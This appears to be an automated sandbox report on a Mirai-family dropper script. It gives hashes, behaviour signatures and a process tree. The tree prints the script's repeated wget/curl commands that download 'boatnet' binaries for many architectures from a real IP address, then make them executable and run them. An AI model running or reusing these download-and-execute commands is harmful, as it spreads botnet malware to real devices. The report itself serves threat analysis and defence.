Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    17-12-2024 11:18

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    d7aac5b39f096043750096172ee9a84f

  • SHA1

    fde809f81c26db59c148255c0b60176c8971bc0c

  • SHA256

    2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5

  • SHA512

    77c79dcb7c89e16cfe5d3712adf37173249b6066673ff20c2a2b6c90ebe2eb5ac5c295a250b6b9fc0596ff0872ecc15d4dec8852a515c0826436426dd5f1efff

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Unexpected DNS network traffic destination 15 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1521
    • /usr/bin/wget
      wget http://147.45.124.54/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1522
    • /usr/bin/curl
      curl -O http://147.45.124.54/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1526
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1527
      • /bin/chmod
        chmod +x boatnet.x86 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-FDiZMa WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1528
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1529
      • /usr/bin/wget
        wget http://147.45.124.54/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1533
      • /usr/bin/curl
        curl -O http://147.45.124.54/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1534
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-FDiZMa WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1536
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1537
      • /usr/bin/wget
        wget http://147.45.124.54/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1541
      • /usr/bin/curl
        curl -O http://147.45.124.54/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1542
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-0vyMSZ systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-FDiZMa WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1556
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1557
      • /usr/bin/wget
        wget http://147.45.124.54/hiddenbin/boatnet.i468
        2⤵
          PID:1561
        • /usr/bin/curl
          curl -O http://147.45.124.54/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1562
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-0vyMSZ systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-FDiZMa WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1564
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1565
        • /usr/bin/wget
          wget http://147.45.124.54/hiddenbin/boatnet.i686
          2⤵
            PID:1569
          • /usr/bin/curl
            curl -O http://147.45.124.54/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1570
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-0vyMSZ systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-FDiZMa WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1572
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1573
          • /usr/bin/wget
            wget http://147.45.124.54/hiddenbin/boatnet.x86_64
            2⤵
              PID:1577
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1578
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-0vyMSZ systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-FDiZMa WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1580
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1581
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1585
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1586
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-0vyMSZ systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-FDiZMa WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1588
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1589
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1593
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1594
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-wn91nk systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-FDiZMa WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1614
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1615
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1619
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1622
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-FDiZMa WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1624
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1625
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1629
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1630
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-FDiZMa WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1632
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1633
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1637
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1638
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-FDiZMa WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1640
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1641
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1645
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1646
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-FDiZMa WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1648
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1649
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1653
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1654
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-FDiZMa WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1656
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1657
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1661
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1662
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1692
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1693
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1697
            • /usr/bin/curl
              curl -O http://147.45.124.54/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1698
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Pzue4d netplan_4c_7ljym ohshit.sh snap-private-tmp ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1700
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1701

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            20KB

            MD5

            9acf9fc63b01f4a7a5b33881073ff6a6

            SHA1

            cf5be79ccc477ca582c8aee42898442f8089b886

            SHA256

            0a21cbd563070ce0b39665b70de81e88f4680648335e9c6cd13963e8846e7ea9

            SHA512

            1dd2bd462850bdd10a2d95214d16dd358131838862a119b47ba6d70a0c894284efbf7294e24c79b0032aba41e09b8e84c372bdae073d6339e269187b8794eae5